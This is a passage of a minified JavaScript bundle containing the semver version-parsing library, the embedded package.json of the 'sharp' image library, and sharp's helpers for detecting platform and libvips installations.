,`^${L7[R7.LONECARET]}${L7[R7.XRANGEPLAINLOOSE]}$`);Q5("COMPARATORLOOSE",`^${L7[R7.GTLT]}\\s*(${L7[R7.LOOSEPLAIN]})$|^$`);Q5("COMPARATOR",`^${L7[R7.GTLT]}\\s*(${L7[R7.FULLPLAIN]})$|^$`);Q5("COMPARATORTRIM",`(\\s*)${L7[R7.GTLT]}\\s*(${L7[R7.LOOSEPLAIN]}|${L7[R7.XRANGEPLAIN]})`,!0);tx.comparatorTrimReplace="$1$2$3";Q5("HYPHENRANGE",`^\\s*(${L7[R7.XRANGEPLAIN]})\\s+-\\s+(${L7[R7.XRANGEPLAIN]})\\s*$`);Q5("HYPHENRANGELOOSE",`^\\s*(${L7[R7.XRANGEPLAINLOOSE]})\\s+-\\s+(${L7[R7.XRANGEPLAINLOOSE]})\\s*$`);Q5("STAR","(<|>)?=?\\s*\\*");Q5("GTE0","^\\s*>=\\s*0\\.0\\.0\\s*$");Q5("GTE0PRE","^\\s*>=\\s*0\\.0\\.0-0\\s*$")});var EY1=v((Zjw,Ob4)=>{var lv9=Object.freeze({loose:!0}),iv9=Object.freeze({}),nv9=(A)=>{if(!A)return iv9;if(typeof A!=="object")return lv9;return A};Ob4.exports=nv9});var Gb4=v((Wjw,_b4)=>{var Xb4=/^[0-9]+$/,$b4=(A,K)=>{let q=Xb4.test(A),Y=Xb4.test(K);if(q&&Y)A=+A,K=+K;return A===K?0:q&&!Y?-1:Y&&!q?1:A<K?-1:1},rv9=(A,K)=>$b4(K,A);_b4.exports={compareIdentifiers:$b4,rcompareIdentifiers:rv9}});var R$A=v((Djw,jb4)=>{var kY1=ZSA(),{MAX_LENGTH:Zb4,MAX_SAFE_INTEGER:CY1}=vY1(),{safeRe:Wb4,safeSrc:Db4,t:LY1}=WSA(),ov9=EY1(),{compareIdentifiers:L$A}=Gb4();class Uy{constructor(A,K){if(K=ov9(K),A instanceof Uy)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else A=A.version;else if(typeof A!=="string")throw TypeError(`Invalid version. Must be a string. Got type "${typeof A}".`);if(A.length>Zb4)throw TypeError(`version is longer than ${Zb4} characters`);kY1("SemVer",A,K),this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease;let q=A.trim().match(K.loose?Wb4[LY1.LOOSE]:Wb4[LY1.FULL]);if(!q)throw TypeError(`Invalid Version: ${A}`);if(this.raw=A,this.major=+q[1],this.minor=+q[2],this.patch=+q[3],this.major>CY1||this.major<0)throw TypeError("Invalid major version");if(this.minor>CY1||this.minor<0)throw TypeError("Invalid minor version");if(this.patch>CY1||this.patch<0)throw TypeError("Invalid patch version");if(!q[4])this.prerelease=[];else this.prerelease=q[4].split(".").map((Y)=>{if(/^[0-9]+$/.test(Y)){let z=+Y;if(z>=0&&z<CY1)return z}return Y});this.build=q[5]?q[5].split("."):[],this.format()}format(){if(this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length)this.version+=`-${this.prerelease.join(".")}`;return this.version}toString(){return this.version}compare(A){if(kY1("SemVer.compare",this.version,this.options,A),!(A instanceof Uy)){if(typeof A==="string"&&A===this.version)return 0;A=new Uy(A,this.options)}if(A.version===this.version)return 0;return this.compareMain(A)||this.comparePre(A)}compareMain(A){if(!(A instanceof Uy))A=new Uy(A,this.options);return L$A(this.major,A.major)||L$A(this.minor,A.minor)||L$A(this.patch,A.patch)}comparePre(A){if(!(A instanceof Uy))A=new Uy(A,this.options);if(this.prerelease.length&&!A.prerelease.length)return-1;else if(!this.prerelease.length&&A.prerelease.length)return 1;else if(!this.prerelease.length&&!A.prerelease.length)return 0;let K=0;do{let q=this.prerelease[K],Y=A.prerelease[K];if(kY1("prerelease compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return L$A(q,Y)}while(++K)}compareBuild(A){if(!(A instanceof Uy))A=new Uy(A,this.options);let K=0;do{let q=this.build[K],Y=A.build[K];if(kY1("build compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return L$A(q,Y)}while(++K)}inc(A,K,q){if(A.startsWith("pre")){if(!K&&q===!1)throw Error("invalid increment argument: identifier is empty");if(K){let Y=new RegExp(`^${this.options.loose?Db4[LY1.PRERELEASELOOSE]:Db4[LY1.PRERELEASE]}$`),z=`-${K}`.match(Y);if(!z||z[1]!==K)throw Error(`invalid identifier: ${K}`)}}switch(A){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",K,q);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",K,q);break;case"prepatch":this.prerelease.length=0,this.inc("patch",K,q),this.inc("pre",K,q);break;case"prerelease":if(this.prerelease.length===0)this.inc("patch",K,q);this.inc("pre",K,q);break;case"release":if(this.prerelease.length===0)throw Error(`version ${this.raw} is not a prerelease`);this.prerelease.length=0;break;case"major":if(this.minor!==0||this.patch!==0||this.prerelease.length===0)this.major++;this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":if(this.patch!==0||this.prerelease.length===0)this.minor++;this.patch=0,this.prerelease=[];break;case"patch":if(this.prerelease.length===0)this.patch++;this.prerelease=[];break;case"pre":{let Y=Number(q)?1:0;if(this.prerelease.length===0)this.prerelease=[Y];else{let z=this.prerelease.length;while(--z>=0)if(typeof this.prerelease[z]==="number")this.prerelease[z]++,z=-2;if(z===-1){if(K===this.prerelease.join(".")&&q===!1)throw Error("invalid increment argument: identifier already exists");this.prerelease.push(Y)}}if(K){let z=[K,Y];if(q===!1)z=[K];if(L$A(this.prerelease[0],K)===0){if(isNaN(this.prerelease[1]))this.prerelease=z}else this.prerelease=z}break}default:throw Error(`invalid increment argument: ${A}`)}if(this.raw=this.format(),this.build.length)this.raw+=`+${this.build.join(".")}`;return this}}jb4.exports=Uy});var Vb4=v((jjw,Pb4)=>{var Mb4=R$A(),av9=(A,K,q=!1)=>{if(A instanceof Mb4)return A;try{return new Mb4(A,K)}catch(Y){if(!q)return null;throw Y}};Pb4.exports=av9});var Nb4=v((Mjw,fb4)=>{var sv9=R$A(),tv9=Vb4(),{safeRe:RY1,t:yY1}=WSA(),ev9=(A,K)=>{if(A instanceof sv9)return A;if(typeof A==="number")A=String(A);if(typeof A!=="string")return null;K=K||{};let q=null;if(!K.rtl)q=A.match(K.includePrerelease?RY1[yY1.COERCEFULL]:RY1[yY1.COERCE]);else{let O=K.includePrerelease?RY1[yY1.COERCERTLFULL]:RY1[yY1.COERCERTL],X;while((X=O.exec(A))&&(!q||q.index+q[0].length!==A.length)){if(!q||X.index+X[0].length!==q.index+q[0].length)q=X;O.lastIndex=X.index+X[1].length+X[2].length}O.lastIndex=-1}if(q===null)return null;let Y=q[2],z=q[3]||"0",w=q[4]||"0",H=K.includePrerelease&&q[5]?`-${q[5]}`:"",J=K.includePrerelease&&q[6]?`+${q[6]}`:"";return tv9(`${Y}.${z}.${w}${H}${J}`,K)};fb4.exports=ev9});var W7A=v((Pjw,vb4)=>{var Tb4=R$A(),AE9=(A,K,q)=>new Tb4(A,q).compare(new Tb4(K,q));vb4.exports=AE9});var vY6=v((Vjw,Eb4)=>{var KE9=W7A(),qE9=(A,K,q)=>KE9(A,K,q)>=0;Eb4.exports=qE9});var Lb4=v((fjw,Cb4)=>{class kb4{constructor(){this.max=1000,this.map=new Map}get(A){let K=this.map.get(A);if(K===void 0)return;else return this.map.delete(A),this.map.set(A,K),K}delete(A){return this.map.delete(A)}set(A,K){if(!this.delete(A)&&K!==void 0){if(this.map.size>=this.max){let Y=this.map.keys().next().value;this.delete(Y)}this.map.set(A,K)}return this}}Cb4.exports=kb4});var yb4=v((Njw,Rb4)=>{var YE9=W7A(),zE9=(A,K,q)=>YE9(A,K,q)===0;Rb4.exports=zE9});var Sb4=v((Tjw,Ib4)=>{var wE9=W7A(),HE9=(A,K,q)=>wE9(A,K,q)!==0;Ib4.exports=HE9});var bb4=v((vjw,hb4)=>{var JE9=W7A(),OE9=(A,K,q)=>JE9(A,K,q)>0;hb4.exports=OE9});var ub4=v((Ejw,xb4)=>{var XE9=W7A(),$E9=(A,K,q)=>XE9(A,K,q)<0;xb4.exports=$E9});var mb4=v((kjw,Bb4)=>{var _E9=W7A(),GE9=(A,K,q)=>_E9(A,K,q)<=0;Bb4.exports=GE9});var Fb4=v((Cjw,gb4)=>{var ZE9=yb4(),WE9=Sb4(),DE9=bb4(),jE9=vY6(),ME9=ub4(),PE9=mb4(),VE9=(A,K,q,Y)=>{switch(K){case"===":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A===q;case"!==":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A!==q;case"":case"=":case"==":return ZE9(A,q,Y);case"!=":return WE9(A,q,Y);case">":return DE9(A,q,Y);case">=":return jE9(A,q,Y);case"<":return ME9(A,q,Y);case"<=":return PE9(A,q,Y);default:throw TypeError(`Invalid operator: ${K}`)}};gb4.exports=VE9});var ib4=v((Ljw,lb4)=>{var DSA=Symbol("SemVer ANY");class IY1{static get ANY(){return DSA}constructor(A,K){if(K=Qb4(K),A instanceof IY1)if(A.loose===!!K.loose)return A;else A=A.value;if(A=A.trim().split(/\s+/).join(" "),kY6("comparator",A,K),this.options=K,this.loose=!!K.loose,this.parse(A),this.semver===DSA)this.value="";else this.value=this.operator+this.semver.version;kY6("comp",this)}parse(A){let K=this.options.loose?Ub4[pb4.COMPARATORLOOSE]:Ub4[pb4.COMPARATOR],q=A.match(K);if(!q)throw TypeError(`Invalid comparator: ${A}`);if(this.operator=q[1]!==void 0?q[1]:"",this.operator==="=")this.operator="";if(!q[2])this.semver=DSA;else this.semver=new db4(q[2],this.options.loose)}toString(){return this.value}test(A){if(kY6("Comparator.test",A,this.options.loose),this.semver===DSA||A===DSA)return!0;if(typeof A==="string")try{A=new db4(A,this.options)}catch(K){return!1}return EY6(A,this.operator,this.semver,this.options)}intersects(A,K){if(!(A instanceof IY1))throw TypeError("a Comparator is required");if(this.operator===""){if(this.value==="")return!0;return new cb4(A.value,K).test(this.value)}else if(A.operator===""){if(A.value==="")return!0;return new cb4(this.value,K).test(A.semver)}if(K=Qb4(K),K.includePrerelease&&(this.value==="<0.0.0-0"||A.value==="<0.0.0-0"))return!1;if(!K.includePrerelease&&(this.value.startsWith("<0.0.0")||A.value.startsWith("<0.0.0")))return!1;if(this.operator.startsWith(">")&&A.operator.startsWith(">"))return!0;if(this.operator.startsWith("<")&&A.operator.startsWith("<"))return!0;if(this.semver.version===A.semver.version&&this.operator.includes("=")&&A.operator.includes("="))return!0;if(EY6(this.semver,"<",A.semver,K)&&this.operator.startsWith(">")&&A.operator.startsWith("<"))return!0;if(EY6(this.semver,">",A.semver,K)&&this.operator.startsWith("<")&&A.operator.startsWith(">"))return!0;return!1}}lb4.exports=IY1;var Qb4=EY1(),{safeRe:Ub4,t:pb4}=WSA(),EY6=Fb4(),kY6=ZSA(),db4=R$A(),cb4=CY6()});var CY6=v((Rjw,ab4)=>{var fE9=/\s+/g;class jSA{constructor(A,K){if(K=TE9(K),A instanceof jSA)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else return new jSA(A.raw,K);if(A instanceof LY6)return this.raw=A.value,this.set=[[A]],this.formatted=void 0,this;if(this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease,this.raw=A.trim().replace(fE9," "),this.set=this.raw.split("||").map((q)=>this.parseRange(q.trim())).filter((q)=>q.length),!this.set.length)throw TypeError(`Invalid SemVer Range: ${this.raw}`);if(this.set.length>1){let q=this.set[0];if(this.set=this.set.filter((Y)=>!rb4(Y[0])),this.set.length===0)this.set=[q];else if(this.set.length>1){for(let Y of this.set)if(Y.length===1&&yE9(Y[0])){this.set=[Y];break}}}this.formatted=void 0}get range(){if(this.formatted===void 0){this.formatted="";for(let A=0;A<this.set.length;A++){if(A>0)this.formatted+="||";let K=this.set[A];for(let q=0;q<K.length;q++){if(q>0)this.formatted+=" ";this.formatted+=K[q].toString().trim()}}}return this.formatted}format(){return this.range}toString(){return this.range}parseRange(A){let q=((this.options.includePrerelease&&LE9)|(this.options.loose&&RE9))+":"+A,Y=nb4.get(q);if(Y)return Y;let z=this.options.loose,w=z?pV[GM.HYPHENRANGELOOSE]:pV[GM.HYPHENRANGE];A=A.replace(w,FE9(this.options.includePrerelease)),gH("hyphen replace",A),A=A.replace(pV[GM.COMPARATORTRIM],EE9),gH("comparator trim",A),A=A.replace(pV[GM.TILDETRIM],kE9),gH("tilde trim",A),A=A.replace(pV[GM.CARETTRIM],CE9),gH("caret trim",A);let H=A.split(" ").map(($)=>IE9($,this.options)).join(" ").split(/\s+/).map(($)=>gE9($,this.options));if(z)H=H.filter(($)=>{return gH("loose invalid filter",$,this.options),!!$.match(pV[GM.COMPARATORLOOSE])});gH("range list",H);let J=new Map,O=H.map(($)=>new LY6($,this.options));for(let $ of O){if(rb4($))return[$];J.set($.value,$)}if(J.size>1&&J.has(""))J.delete("");let X=[...J.values()];return nb4.set(q,X),X}intersects(A,K){if(!(A instanceof jSA))throw TypeError("a Range is required");return this.set.some((q)=>{return ob4(q,K)&&A.set.some((Y)=>{return ob4(Y,K)&&q.every((z)=>{return Y.every((w)=>{return z.intersects(w,K)})})})})}test(A){if(!A)return!1;if(typeof A==="string")try{A=new vE9(A,this.options)}catch(K){return!1}for(let K=0;K<this.set.length;K++)if(QE9(this.set[K],A,this.options))return!0;return!1}}ab4.exports=jSA;var NE9=Lb4(),nb4=new NE9,TE9=EY1(),LY6=ib4(),gH=ZSA(),vE9=R$A(),{safeRe:pV,t:GM,comparatorTrimReplace:EE9,tildeTrimReplace:kE9,caretTrimReplace:CE9}=WSA(),{FLAG_INCLUDE_PRERELEASE:LE9,FLAG_LOOSE:RE9}=vY1(),rb4=(A)=>A.value==="<0.0.0-0",yE9=(A)=>A.value==="",ob4=(A,K)=>{let q=!0,Y=A.slice(),z=Y.pop();while(q&&Y.length)q=Y.every((w)=>{return z.intersects(w,K)}),z=Y.pop();return q},IE9=(A,K)=>{return gH("comp",A,K),A=bE9(A,K),gH("caret",A),A=SE9(A,K),gH("tildes",A),A=uE9(A,K),gH("xrange",A),A=mE9(A,K),gH("stars",A),A},ZM=(A)=>!A||A.toLowerCase()==="x"||A==="*",SE9=(A,K)=>{return A.trim().split(/\s+/).map((q)=>hE9(q,K)).join(" ")},hE9=(A,K)=>{let q=K.loose?pV[GM.TILDELOOSE]:pV[GM.TILDE];return A.replace(q,(Y,z,w,H,J)=>{gH("tilde",A,Y,z,w,H,J);let O;if(ZM(z))O="";else if(ZM(w))O=`>=${z}.0.0 <${+z+1}.0.0-0`;else if(ZM(H))O=`>=${z}.${w}.0 <${z}.${+w+1}.0-0`;else if(J)gH("replaceTilde pr",J),O=`>=${z}.${w}.${H}-${J} <${z}.${+w+1}.0-0`;else O=`>=${z}.${w}.${H} <${z}.${+w+1}.0-0`;return gH("tilde return",O),O})},bE9=(A,K)=>{return A.trim().split(/\s+/).map((q)=>xE9(q,K)).join(" ")},xE9=(A,K)=>{gH("caret",A,K);let q=K.loose?pV[GM.CARETLOOSE]:pV[GM.CARET],Y=K.includePrerelease?"-0":"";return A.replace(q,(z,w,H,J,O)=>{gH("caret",A,z,w,H,J,O);let X;if(ZM(w))X="";else if(ZM(H))X=`>=${w}.0.0${Y} <${+w+1}.0.0-0`;else if(ZM(J))if(w==="0")X=`>=${w}.${H}.0${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.0${Y} <${+w+1}.0.0-0`;else if(O)if(gH("replaceCaret pr",O),w==="0")if(H==="0")X=`>=${w}.${H}.${J}-${O} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}-${O} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J}-${O} <${+w+1}.0.0-0`;else if(gH("no pr"),w==="0")if(H==="0")X=`>=${w}.${H}.${J}${Y} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J} <${+w+1}.0.0-0`;return gH("caret return",X),X})},uE9=(A,K)=>{return gH("replaceXRanges",A,K),A.split(/\s+/).map((q)=>BE9(q,K)).join(" ")},BE9=(A,K)=>{A=A.trim();let q=K.loose?pV[GM.XRANGELOOSE]:pV[GM.XRANGE];return A.replace(q,(Y,z,w,H,J,O)=>{gH("xRange",A,Y,z,w,H,J,O);let X=ZM(w),$=X||ZM(H),_=$||ZM(J),G=_;if(z==="="&&G)z="";if(O=K.includePrerelease?"-0":"",X)if(z===">"||z==="<")Y="<0.0.0-0";else Y="*";else if(z&&G){if($)H=0;if(J=0,z===">")if(z=">=",$)w=+w+1,H=0,J=0;else H=+H+1,J=0;else if(z==="<=")if(z="<",$)w=+w+1;else H=+H+1;if(z==="<")O="-0";Y=`${z+w}.${H}.${J}${O}`}else if($)Y=`>=${w}.0.0${O} <${+w+1}.0.0-0`;else if(_)Y=`>=${w}.${H}.0${O} <${w}.${+H+1}.0-0`;return gH("xRange return",Y),Y})},mE9=(A,K)=>{return gH("replaceStars",A,K),A.trim().replace(pV[GM.STAR],"")},gE9=(A,K)=>{return gH("replaceGTE0",A,K),A.trim().replace(pV[K.includePrerelease?GM.GTE0PRE:GM.GTE0],"")},FE9=(A)=>(K,q,Y,z,w,H,J,O,X,$,_,G)=>{if(ZM(Y))q="";else if(ZM(z))q=`>=${Y}.0.0${A?"-0":""}`;else if(ZM(w))q=`>=${Y}.${z}.0${A?"-0":""}`;else if(H)q=`>=${q}`;else q=`>=${q}${A?"-0":""}`;if(ZM(X))O="";else if(ZM($))O=`<${+X+1}.0.0-0`;else if(ZM(_))O=`<${X}.${+$+1}.0-0`;else if(G)O=`<=${X}.${$}.${_}-${G}`;else if(A)O=`<${X}.${$}.${+_+1}-0`;else O=`<=${O}`;return`${q} ${O}`.trim()},QE9=(A,K,q)=>{for(let Y=0;Y<A.length;Y++)if(!A[Y].test(K))return!1;if(K.prerelease.length&&!q.includePrerelease){for(let Y=0;Y<A.length;Y++){if(gH(A[Y].semver),A[Y].semver===LY6.ANY)continue;if(A[Y].semver.prerelease.length>0){let z=A[Y].semver;if(z.major===K.major&&z.minor===K.minor&&z.patch===K.patch)return!0}}return!1}return!0}});var tb4=v((yjw,sb4)=>{var UE9=CY6(),pE9=(A,K,q)=>{try{K=new UE9(K,q)}catch(Y){return!1}return K.test(A)};sb4.exports=pE9});var RY6=v((Ijw,dE9)=>{dE9.exports={name:"sharp",description:"High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images",version:"0.33.5",author:"Lovell Fuller <npm@lovell.info>",homepage:"https://sharp.pixelplumbing.com",contributors:["Pierre Inglebert <pierre.inglebert@gmail.com>","Jonathan Ong <jonathanrichardong@gmail.com>","Chanon Sajjamanochai <chanon.s@gmail.com>","Juliano Julio <julianojulio@gmail.com>","Daniel Gasienica <daniel@gasienica.ch>","Julian Walker <julian@fiftythree.com>","Amit Pitaru <pitaru.amit@gmail.com>","Brandon Aaron <hello.brandon@aaron.sh>","Andreas Lind <andreas@one.com>","Maurus Cuelenaere <mcuelenaere@gmail.com>","Linus Unnebäck <linus@folkdatorn.se>","Victor Mateevitsi <mvictoras@gmail.com>","Alaric Holloway <alaric.holloway@gmail.com>","Bernhard K. Weisshuhn <bkw@codingforce.com>","Chris Riley <criley@primedia.com>","David Carley <dacarley@gmail.com>","John Tobin <john@limelightmobileinc.com>","Kenton Gray <kentongray@gmail.com>","Felix Bünemann <Felix.Buenemann@gmail.com>","Samy Al Zahrani <samyalzahrany@gmail.com>","Chintan Thakkar <lemnisk8@gmail.com>","F. Orlando Galashan <frulo@gmx.de>","Kleis Auke Wolthuizen <info@kleisauke.nl>","Matt Hirsch <mhirsch@media.mit.edu>","Matthias Thoemmes <thoemmes@gmail.com>","Patrick Paskaris <patrick@paskaris.gr>","Jérémy Lal <kapouer@melix.org>","Rahul Nanwani <r.nanwani@gmail.com>","Alice Monday <alice0meta@gmail.com>","Kristo Jorgenson <kristo.jorgenson@gmail.com>","YvesBos <yves_bos@outlook.com>","Guy Maliar <guy@tailorbrands.com>","Nicolas Coden <nicolas@ncoden.fr>","Matt Parrish <matt.r.parrish@gmail.com>","Marcel Bretschneider <marcel.bretschneider@gmail.com>","Matthew McEachen <matthew+github@mceachen.org>","Jarda Kotěšovec <jarda.kotesovec@gmail.com>","Kenric D'Souza <kenric.dsouza@gmail.com>","Oleh Aleinyk <oleg.aleynik@gmail.com>","Marcel Bretschneider <marcel.bretschneider@gmail.com>","Andrea Bianco <andrea.bianco@unibas.ch>","Rik Heywood <rik@rik.org>","Thomas Parisot <hi@oncletom.io>","Nathan Graves <nathanrgraves+github@gmail.com>","Tom Lokhorst <tom@lokhorst.eu>","Espen Hovlandsdal <espen@hovlandsdal.com>","Sylvain Dumont <sylvain.dumont35@gmail.com>","Alun Davies <alun.owain.davies@googlemail.com>","Aidan Hoolachan <ajhoolachan21@gmail.com>","Axel Eirola <axel.eirola@iki.fi>","Freezy <freezy@xbmc.org>","Daiz <taneli.vatanen@gmail.com>","Julian Aubourg <j@ubourg.net>","Keith Belovay <keith@picthrive.com>","Michael B. Klein <mbklein@gmail.com>","Jordan Prudhomme <jordan@raboland.fr>","Ilya Ovdin <iovdin@gmail.com>","Andargor <andargor@yahoo.com>","Paul Neave <paul.neave@gmail.com>","Brendan Kennedy <brenwken@gmail.com>","Brychan Bennett-Odlum <git@brychan.io>","Edward Silverton <e.silverton@gmail.com>","Roman Malieiev <aromaleev@gmail.com>","Tomas Szabo <tomas.szabo@deftomat.com>","Robert O'Rourke <robert@o-rourke.org>","Guillermo Alfonso Varela Chouciño <guillevch@gmail.com>","Christian Flintrup <chr@gigahost.dk>","Manan Jadhav <manan@motionden.com>","Leon Radley <leon@radley.se>","alza54 <alza54@thiocod.in>","Jacob Smith <jacob@frende.me>","Michael Nutt <michael@nutt.im>","Brad Parham <baparham@gmail.com>","Taneli Vatanen <taneli.vatanen@gmail.com>","Joris Dugué <zaruike10@gmail.com>","Chris Banks <christopher.bradley.banks@gmail.com>","Ompal Singh <ompal.hitm09@gmail.com>","Brodan <christopher.hranj@gmail.com>","Ankur Parihar <ankur.github@gmail.com>","Brahim Ait elhaj <brahima@gmail.com>","Mart Jansink <m.jansink@gmail.com>","Lachlan Newman <lachnewman007@gmail.com>","Dennis Beatty <dennis@dcbeatty.com>","Ingvar Stepanyan <me@rreverser.com>","Don Denton <don@happycollision.com>"],scripts:{install:"node install/check",clean:"rm -rf src/build/ .nyc_output/ coverage/ test/fixtures/output.*",test:"npm run test-lint && npm run test-unit && npm run test-licensing && npm run test-types","test-lint":"semistandard && cpplint","test-unit":"nyc --reporter=lcov --reporter=text --check-coverage --branches=100 mocha","test-licensing":'license-checker --production --summary --onlyAllow="Apache-2.0;BSD;ISC;LGPL-3.0-or-later;MIT"',"test-leak":"./test/leak/leak.sh","test-types":"tsd","package-from-local-build":"node npm/from-local-build","package-from-github-release":"node npm/from-github-release","docs-build":"node docs/build && node docs/search-index/build","docs-serve":"cd docs && npx serve","docs-publish":"cd docs && npx firebase-tools deploy --project pixelplumbing --only hosting:pixelplumbing-sharp"},type:"commonjs",main:"lib/index.js",types:"lib/index.d.ts",files:["install","lib","src/*.{cc,h,gyp}"],repository:{type:"git",url:"git://github.com/lovell/sharp.git"},keywords:["jpeg","png","webp","avif","tiff","gif","svg","jp2","dzi","image","resize","thumbnail","crop","embed","libvips","vips"],dependencies:{color:"^4.2.3","detect-libc":"^2.0.3",semver:"^7.6.3"},optionalDependencies:{"@img/sharp-darwin-arm64":"0.33.5","@img/sharp-darwin-x64":"0.33.5","@img/sharp-libvips-darwin-arm64":"1.0.4","@img/sharp-libvips-darwin-x64":"1.0.4","@img/sharp-libvips-linux-arm":"1.0.5","@img/sharp-libvips-linux-arm64":"1.0.4","@img/sharp-libvips-linux-s390x":"1.0.4","@img/sharp-libvips-linux-x64":"1.0.4","@img/sharp-libvips-linuxmusl-arm64":"1.0.4","@img/sharp-libvips-linuxmusl-x64":"1.0.4","@img/sharp-linux-arm":"0.33.5","@img/sharp-linux-arm64":"0.33.5","@img/sharp-linux-s390x":"0.33.5","@img/sharp-linux-x64":"0.33.5","@img/sharp-linuxmusl-arm64":"0.33.5","@img/sharp-linuxmusl-x64":"0.33.5","@img/sharp-wasm32":"0.33.5","@img/sharp-win32-ia32":"0.33.5","@img/sharp-win32-x64":"0.33.5"},devDependencies:{"@emnapi/runtime":"^1.2.0","@img/sharp-libvips-dev":"1.0.4","@img/sharp-libvips-dev-wasm32":"1.0.5","@img/sharp-libvips-win32-ia32":"1.0.4","@img/sharp-libvips-win32-x64":"1.0.4","@types/node":"*",async:"^3.2.5",cc:"^3.0.1",emnapi:"^1.2.0","exif-reader":"^2.0.1","extract-zip":"^2.0.1",icc:"^3.0.0","jsdoc-to-markdown":"^8.0.3","license-checker":"^25.0.1",mocha:"^10.7.3","node-addon-api":"^8.1.0",nyc:"^17.0.0",prebuild:"^13.0.1",semistandard:"^17.0.0","tar-fs":"^3.0.6",tsd:"^0.31.1"},license:"Apache-2.0",engines:{node:"^18.17.0 || ^20.3.0 || >=21.0.0"},config:{libvips:">=8.15.3"},funding:{url:"https://opencollective.com/libvips"},binary:{napi_versions:[9]},semistandard:{env:["mocha"]},cc:{linelength:"120",filter:["build/include"]},nyc:{include:["lib"]},tsd:{directory:"test/types/"}}});var IY6=v((Sjw,Ox4)=>{var{spawnSync:SY1}=CA("node:child_process"),{createHash:cE9}=CA("node:crypto"),qx4=Nb4(),lE9=vY6(),iE9=tb4(),eb4=TY1(),{config:nE9,engines:Ax4,optionalDependencies:rE9}=RY6(),oE9=process.env.npm_package_config_libvips||nE9.libvips,Yx4=qx4(oE9).version,aE9=["darwin-arm64","darwin-x64","linux-arm","linux-arm64","linux-s390x","linux-x64","linuxmusl-arm64","linuxmusl-x64","win32-ia32","win32-x64"],hY1={encoding:"utf8",shell:!0},sE9=(A)=>{if(A instanceof Error)console.error(`sharp: Installation error: ${A.message}`);else console.log(`sharp: ${A}`)},zx4=()=>eb4.isNonGlibcLinuxSync()?eb4.familySync():"",tE9=()=>`${process.platform}${zx4()}-${process.arch}`,y$A=()=>{if(wx4())return"wasm32";let{npm_config_arch:A,npm_config_platform:K,npm_config_libc:q}=process.env,Y=typeof q==="string"?q:zx4();return`${K||process.platform}${Y}-${A||process.arch}`},eE9=()=>{try{return CA(`@img/sharp-libvips-dev-${y$A()}/include`)}catch{try{return (()=>{throw new Error("Cannot require module "+"@img/sharp-libvips-dev/include");})()}catch{}}return""},Ak9=()=>{try{return (()=>{throw new Error("Cannot require module "+"@img/sharp-libvips-dev/cplusplus");})()}catch{}return""},Kk9=()=>{try{return CA(`@img/sharp-libvips-dev-${y$A()}/lib`)}catch{try{return CA(`@img/sharp-libvips-${y$A()}/lib`)}catch{}}return""},qk9=()=>{if(process.release?.name==="node"&&process.versions){if(!iE9(process.versions.node,Ax4.node))return{found:process.versions.node,expected:Ax4.node}}},wx4=()=>{let{CC:A}=process.env;return Boolean(A&&A.endsWith("/emcc"))},Yk9=()=>{if(process.platform==="darwin"&&process.arch==="x64")return(SY1("sysctl sysctl.proc_translated",hY1).stdout||"").trim()==="sysctl.proc_translated: 1";return!1},Kx4=(A)=>cE9("sha512").update(A).digest("hex"),zk9=()=>{try{let A=Kx4(`imgsharp-libvips-${y$A()}`),K=qx4(rE9[`@img/sharp-libvips-${y$A()}`]).version;return Kx4(`${A}npm:${K}`).slice(0,10)}catch{}return""},wk9=()=>SY1(`node-gyp rebuild --directory=src ${wx4()?"--nodedir=emscripten":""}`,{...hY1,stdio:"inherit"}).status,Hx4=()=>{if(process.platform!=="win32")return(SY1("pkg-config --modversion vips-cpp",{...hY1,env:{...process.env,PKG_CONFIG_PATH:Jx4()}}).stdout||"").trim();else return""},Jx4=()=>{if(process.platform!=="win32")return[(SY1('which brew >/dev/null 2>&1 && brew environment --plain | grep PKG_CONFIG_LIBDIR | cut -d" " -f2',hY1).stdout||"").trim(),process.env.PKG_CONFIG_PATH,"/usr/local/lib/pkgconfig","/usr/lib/pkgconfig","/usr/local/libdata/pkgconfig","/usr/libdata/pkgconfig"].filter(Boolean).join(":");else return""},yY6=(A,K,q)=>{if(q)q(`Detected ${K}, skipping search for globally-installed libvips`);return A},Hk9=(A)=>{if(Boolean(process.env.SHARP_IGNORE_GLOBAL_LIBVIPS)===!0)return yY6(!1,"SHARP_IGNORE_GLOBAL_LIBVIPS",A);if(Boolean(process.env.SHARP_FORCE_GLOBAL_LIBVIPS)===!0)return yY6(!0,"SHARP_FORCE_GLOBAL_LIBVIPS",A);if(Yk9())return yY6(!1,"Rosetta",A);let K=Hx4();return!!K&&lE9(K,Yx4)};Ox4.exports={minimumLibvipsVersion:Yx4,prebuiltPlatforms:aE9,buildPlatformArch:y$A,buildSharpLibvipsIncludeDir:eE9,buildSharpLibvipsCPlusPlusDir:Ak9,buildSharpLibvipsLibDir:Kk9,isUnsupportedNodeRuntime:qk9,runtimePlatformArch:tE9,log:sE9,yarnLocator:zk9,spawnRebuild:wk9,globalLibvipsVersion:Hx4,pkgConfigPath:Jx4,useGlobalLibvips:Hk9}});var 